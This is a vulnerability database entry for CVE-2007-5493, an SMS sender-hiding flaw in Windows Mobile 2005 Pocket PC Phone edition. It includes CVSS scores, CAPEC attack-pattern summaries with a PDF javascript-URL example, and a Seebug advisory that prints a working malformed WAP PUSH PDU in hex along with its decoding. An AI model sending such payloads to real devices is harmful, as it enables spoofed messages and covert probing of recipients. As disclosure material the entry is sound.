Vulnerabilities > CVE-2007-5493 - Permissions, Privileges, and Access Controls vulnerability in Microsoft Windows Mobile 2005

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE

Summary

The SMS handler for Windows Mobile 2005 Pocket PC Phone edition allows attackers to hide the sender field of an SMS message via a malformed WAP PUSH message that causes the PDU to be incorrectly decoded.

Vulnerable Configurations

Part Description Count
OS
Microsoft
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Seebug

bulletinFamilyexploit
descriptionBUGTRAQ ID: 26091 CVE(CAN) ID: CVE-2007-5493 Windows Mobile是微软开发的用于手机的操作系统。 Windows Mobile的短信处理器中存在安全漏洞,如果发送了特制的WAP PUSH消息的话,就可能在接收者的手机上隐藏原始短信的发送者。 原始PDU如[1]所示,以下PDU会导致Pocket PC电话版本的SMS处理器错误的解码PDU,这样发送者的手机号码和发送时间都是错误的。 [1] PDU(自动换行) 079144775810065051220C914477619269060004A7600605040B8423F025060803AE81EA AF82B48401056A0045C6070D0373796D616E7465630085010353796D616E7465630D0D62 756C6B534D532028556E726567697374657265642056657229202D204C6F6769784D6F62 696C652E636F6D000101 PDU的解码请见[2]。当SmartPhone接收到这条消息的时候,就会未经交互便将其丢弃,这也允许攻击者未经短信接收者确认便可以判断对方手机是否打开。 [2] PDU解码 PDU LENGTH IS 118 BYTES ADDRESS OF DELIVERING SMSC NUMBER IS : +447785016005 TYPE OF NR. : International NPI : ISDN/Telephone (E.164/163) MESSAGE HEADER FLAGS MESSAGE TYPE : SMS SUBMIT REJECT DUPLICATES : NO VALIDITY PERIOD : RELATIVE REPLY PATH : NO USER DATA HEADER : PRESENT REQ. STATUS REPORT : NO MSG REFERENCE NR. : 34 (0x22) DESTINATION ADDRESS NUMBER IS : +447716299660 TYPE OF NR. : International NPI : ISDN/Telephone (E.164/163) PROTOCOL IDENTIFIER (0x00) MESSAGE ENTITIES : SME-to-SME PROTOCOL USED : Implicit / SC-specific DATA CODING SCHEME (0x04) AUTO-DELETION : OFF COMPRESSION : OFF MESSAGE CLASS : NONE ALPHABET USED : 8bit data VALIDITY OF MESSAGE : 24.0 hrs USER DATA PART OF SM USER DATA LENGTH : 96 octets UDH LENGTH : 6 octets UDH : 05 04 0B 84 23 F0 UDH ELEMENTS : 05 - Appl. port addressing 16bit 4 (0x04) Bytes Information Element 09200 : SOURCE port is: allocated by IANA 02948 : DESTINATION port is: allocated by IANA --- DATA ---------------------- 05 04 0B 84 23 F0 USER DATA (TEXT) : %&amp;reg;&amp;#129;ê&amp;macr;&amp;#8218;&amp;acute;&amp;#8222;jE&amp;AElig; symantec…Symantec bulkSMS (Unregistered Ver) - LogixMobile.com Microsoft Windows Mobile 5 PocketPC 厂商补丁: Microsoft --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: <a href="http://www.microsoft.com/technet/security/" target="_blank">http://www.microsoft.com/technet/security/</a>
idSSV:2324
last seen2017-11-19
modified2007-10-23
published2007-10-23
reporterRoot
titleMicrosoft Windows Mobile短信处理器来源迷惑漏洞